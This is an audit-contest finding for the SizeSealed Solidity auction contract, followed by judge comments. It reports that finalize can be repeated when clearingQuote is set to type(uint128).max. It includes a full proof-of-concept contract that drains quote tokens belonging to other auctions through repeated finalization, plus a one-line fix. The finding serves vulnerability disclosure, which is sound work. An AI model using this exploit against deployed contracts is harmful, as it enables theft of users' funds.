Refinalization with theft of funds from other auctions

[code423n4]

Lines of code

https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L217 https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L33 https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L325

Vulnerability details

Vulnerability details

Description

There is a finalize function in the SizeSealed smart contract. The function traverses the array of the bids sorted by price descending. There is a prevention of the refinalization by the modifier atState(idToAuction[auctionId], States.RevealPeriod):

modifier atState(Auction storage a, States _state) {
    if (block.timestamp < a.timings.startTimestamp) {
        if (_state != States.Created) revert InvalidState();
    } else if (block.timestamp < a.timings.endTimestamp) {
        if (_state != States.AcceptingBids) revert InvalidState();
    } else if (a.data.lowestQuote != type(uint128).max) {
        if (_state != States.Finalized) revert InvalidState();
    } else if (block.timestamp <= a.timings.endTimestamp + 24 hours) {
        if (_state != States.RevealPeriod) revert InvalidState();
    } else if (block.timestamp > a.timings.endTimestamp + 24 hours) {
        if (_state != States.Voided) revert InvalidState();
    } else {
        revert();
    }
    _;
}

If the auction's lowestQuote parameter is not equal to type(uint128).max it is supposed that the state of the auction is equal to Finalized. So, it is supposed that after the finalization this parameter will not be equal to type(uint128).max. But there is no check on this.

Attack scenario

Using clearingQuote parameter equal to type(uint128).max (which is used to change lowestQuote parameter) auction creator can refinalize the auction. During each finalization of the auction creator will receive the corresponding amount of quote token according to the following logic:

// Calculate quote amount based on clearing price
uint256 filledQuote = FixedPointMathLib.mulDivDown(clearingQuote, data.filledBase, clearingBase);

Impact

An attacker can create an auction with a fake base token and a valuable quote token. He can finalize such an auction in the next block a few times and for each finalization receive the corresponding amount of quote token. So, he will be able to receive quote tokens that do not correspond to his auction (of course in addition to the quote tokens that correspond to his auction).

Also, using clearingQuote parameter equal to type(uint128).max it is possible to cancel an already finalized auction.

PoC

// SPDX-License-Identifier: MIT OR Apache-2.0

pragma solidity =0.8.17;
pragma experimental ABIEncoderV2;

import {SizeSealed} from "SizeSealed.sol";
import {ISizeSealed} from "interfaces/ISizeSealed.sol";
import {ECCMath} from "util/ECCMath.sol";

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";

contract MintableERC20 is ERC20
{
    constructor() ERC20("", "") {

    }

    function mint(address account, uint256 amount) public {
        _mint(account, amount);
    }
}

contract MaliciousExternalBidder
{
    uint256 constant privateKey = uint256(0xabcdabcd); 
    function createBid(MintableERC20 quoteToken, SizeSealed sizeSealed, uint256 auctionId, uint128 quoteAmount, uint256 sellerPrivateKey, bytes32 message) external returns (uint256) {
        quoteToken.approve(address(sizeSealed), quoteAmount);

        (, bytes32 encryptedMessage) = ECCMath.encryptMessage(ECCMath.publicKey(sellerPrivateKey), privateKey, message);

        return sizeSealed.bid(
            auctionId,
            quoteAmount,
            keccak256(abi.encode(message)),
            ECCMath.publicKey(privateKey),
            encryptedMessage,
            "",
            new bytes32[](0)
        );
    }
}

contract PoC
{
    SizeSealed sizeSealed;
    MintableERC20 token1;
    MintableERC20 token2;
    MintableERC20 token3;
    MaliciousExternalBidder maliciousExternalBidder;

    uint256 hackStartTimestamp;
    uint256 fakeAuctionId;
    uint256 maliciousBidId;

    uint256 constant privateKey = uint256(0xc0de1234); 

    constructor() {
        sizeSealed = new SizeSealed();
        token1 = new MintableERC20();
        token2 = new MintableERC20();
        token3 = new MintableERC20();
        maliciousExternalBidder = new MaliciousExternalBidder();
    }

    // First transaction
    function hackStart() external returns (uint256) {
        require(hackStartTimestamp == 0);
        hackStartTimestamp = block.timestamp;

        // Just a normal auction created by anyone
        // This is an honest user action
        // It will be stolen even without interacting with this auction
        // (in real attack scenario such auction will be created by another entity which will be an attack target)
        // (left it here for simplicity of the code)
        {
            uint256 baseAmount = 5;
            token1.mint(address(this), baseAmount);
            token1.approve(address(sizeSealed), baseAmount);
            // Funds will be stolen even without interacting with this auction
            // This is why `normalAuctionId` value is not stored
            // token1 and token2 are normal valuable tokens
            uint256 normalAuctionId = createAuction(token1, token2, uint128(baseAmount));
            require(normalAuctionId == 1);
        }

        // Fake auction and bid for double-spend
        {
            // token3 is just a fake token
            token3.mint(address(this), 1);
            token3.approve(address(sizeSealed), 1);
            fakeAuctionId = createAuction(token3, token1, 1);
            require(fakeAuctionId == 2);

            uint256 quoteAmount = 1;
            uint256 baseAmount = 1;
            token1.mint(address(this), quoteAmount);
            token1.transfer(address(maliciousExternalBidder), quoteAmount);
            // price is just 1 (1 token1 per each token3)
            maliciousBidId = maliciousExternalBidder.createBid(
                token1,
                sizeSealed,
                fakeAuctionId,
                uint128(quoteAmount),
                privateKey,
                bytes32(baseAmount << 128)
            );
            require(maliciousBidId == 0);
        }

        return block.timestamp;
    }

    // Second transaction
    // block.timestamp should be greater or equal to (block.timestamp of the first transaction) + 1
    function hackFinish() external returns (uint256) {
        require(hackStartTimestamp != 0 && block.timestamp >= hackStartTimestamp + 1);

        sizeSealed.reveal(fakeAuctionId, privateKey, "");
        require(token1.balanceOf(address(this)) == 0);

        // Attacker can receive all funds deposited by the honest user and even funds used for creation of the malicious bid
        uint256 iterations = 5 + 1;
        for (uint256 iteration = 1; iteration <= iterations; iteration++) {
            uint256[] memory bidIndices = new uint256[](1);
            bidIndices[0] = maliciousBidId;
            // Double-spend is possible due to clearingQuote == type(uint128).max
            sizeSealed.finalize(fakeAuctionId, bidIndices, type(uint128).max, type(uint128).max);
            require(token1.balanceOf(address(this)) == iteration);
        }

        require(token1.balanceOf(address(this)) == iterations);

        return block.timestamp;
    }

    function createAuction(ERC20 baseToken, ERC20 quoteToken, uint128 totalBaseAmount) internal returns (uint256) {
        ISizeSealed.AuctionParameters memory auctionParameters;
        auctionParameters.baseToken = address(baseToken);
        auctionParameters.quoteToken = address(quoteToken);
        auctionParameters.reserveQuotePerBase = 0;
        auctionParameters.totalBaseAmount = totalBaseAmount;
        auctionParameters.minimumBidQuote = 0;
        auctionParameters.pubKey = ECCMath.publicKey(privateKey);

        ISizeSealed.Timings memory timings;
        timings.startTimestamp = uint32(block.timestamp);
        timings.endTimestamp = uint32(block.timestamp) + 1;
        timings.vestingStartTimestamp = uint32(block.timestamp) + 2;
        timings.vestingEndTimestamp = uint32(block.timestamp) + 3;
        timings.cliffPercent = 1e18; 

        return sizeSealed.createAuction(auctionParameters, timings, "");
    }
}

Recommended Mitigation Steps

Add a special check to the finalize function to prevent refinalization:

if (clearingQuote == type(uint128).max) {
    revert InvalidCalldata();
}

[trust1995]

Great find, dup of #252

[c4-judge]

0xean marked the issue as duplicate

[c4-judge]

0xean marked the issue as satisfactory